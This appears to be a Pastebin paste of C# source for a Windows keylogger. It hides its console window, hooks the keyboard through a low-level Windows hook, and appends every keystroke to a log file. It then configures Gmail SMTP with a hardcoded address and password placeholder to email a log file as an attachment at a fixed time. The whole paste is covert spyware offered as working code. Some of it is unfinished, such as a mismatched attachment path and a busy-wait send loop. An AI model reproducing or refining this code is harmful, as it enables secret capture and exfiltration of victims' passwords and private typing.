Advertisement
Guest User

Untitled

a guest
Mar 31st, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.28 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5. using System.IO;
  6. using System.Collections.Generic;
  7. using System.Text;
  8. using System.Net.Mail;
  9. using System.Net;
  10.  
  11. namespace ConsoleApplication1
  12. {
  13. class Program
  14. {
  15. private const int WH_KEYBOARD_LL = 13;
  16. private const int WM_KEYDOWN = 0x0100;
  17. private static LowLevelKeyboardProc _proc = HookCallback;
  18. private static IntPtr _hookID = IntPtr.Zero;
  19.  
  20. static void Main(string[] args)
  21. {
  22. var handle = GetConsoleWindow();
  23.  
  24. // Hide
  25. ShowWindow(handle, SW_HIDE);
  26.  
  27. _hookID = SetHook(_proc);
  28. Application.Run();
  29. UnhookWindowsHookEx(_hookID);
  30.  
  31.  
  32. //file finder by name
  33.  
  34.  
  35.  
  36.  
  37. //email-sending
  38. //@"C:/Games" + @"\log.txt
  39.  
  40. //email with the file
  41. MailMessage mail = new MailMessage();
  42. SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
  43. mail.From = new MailAddress("ntodorov301@gmail.com");
  44. mail.To.Add("ntodorov301@gmail.com");
  45.  
  46. mail.Body = "This is a test e-mail message sent using gmail as a relay server ";
  47. mail.Subject = "Gmail test email with SSL and Credentials";
  48.  
  49. System.Net.Mail.Attachment attachment;
  50.  
  51. attachment = new System.Net.Mail.Attachment("C:/Users/totkata1/Desktop/636617427740519487kuyrr.txt");
  52. attachment.ContentDisposition.FileName = "log.txt";
  53. mail.Attachments.Add(attachment);
  54.  
  55. SmtpServer.Port = 587;
  56. SmtpServer.EnableSsl = true;
  57. SmtpServer.Credentials = new System.Net.NetworkCredential("ntodorov301@gmail.com", "PASSWORD");
  58.  
  59. int mySeconds = 30;
  60. int myMinute = 30;
  61. int myHour = 11;
  62. while (true)
  63. {
  64. if (DateTime.Now.Minute == myMinute && DateTime.Now.Hour == myHour && DateTime.Now.Second == mySeconds)
  65. {
  66. SmtpServer.Send(mail);
  67. }
  68. }
  69.  
  70. }
  71.  
  72. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  73. {
  74. using (Process curProcess = Process.GetCurrentProcess())
  75. using (ProcessModule curModule = curProcess.MainModule)
  76. {
  77. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  78. GetModuleHandle(curModule.ModuleName), 0);
  79. }
  80. }
  81.  
  82. private delegate IntPtr LowLevelKeyboardProc(
  83. int nCode, IntPtr wParam, IntPtr lParam);
  84.  
  85. private static IntPtr HookCallback(
  86. int nCode, IntPtr wParam, IntPtr lParam)
  87. {
  88. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  89. {
  90. int vkCode = Marshal.ReadInt32(lParam);
  91.  
  92. StreamWriter sw = new StreamWriter(@"C:/Games" + @"\log.txt", true);
  93. //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  94. sw.Write((Keys)vkCode);
  95. sw.Close();
  96. }
  97. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  98. }
  99.  
  100. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  101. private static extern IntPtr SetWindowsHookEx(int idHook,
  102. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  103.  
  104. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  105. [return: MarshalAs(UnmanagedType.Bool)]
  106. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  107.  
  108. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  109. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  110. IntPtr wParam, IntPtr lParam);
  111.  
  112. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  113. private static extern IntPtr GetModuleHandle(string lpModuleName);
  114.  
  115. [DllImport("kernel32.dll")]
  116. static extern IntPtr GetConsoleWindow();
  117.  
  118. [DllImport("user32.dll")]
  119. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  120.  
  121. const int SW_HIDE = 0;
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128. }
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement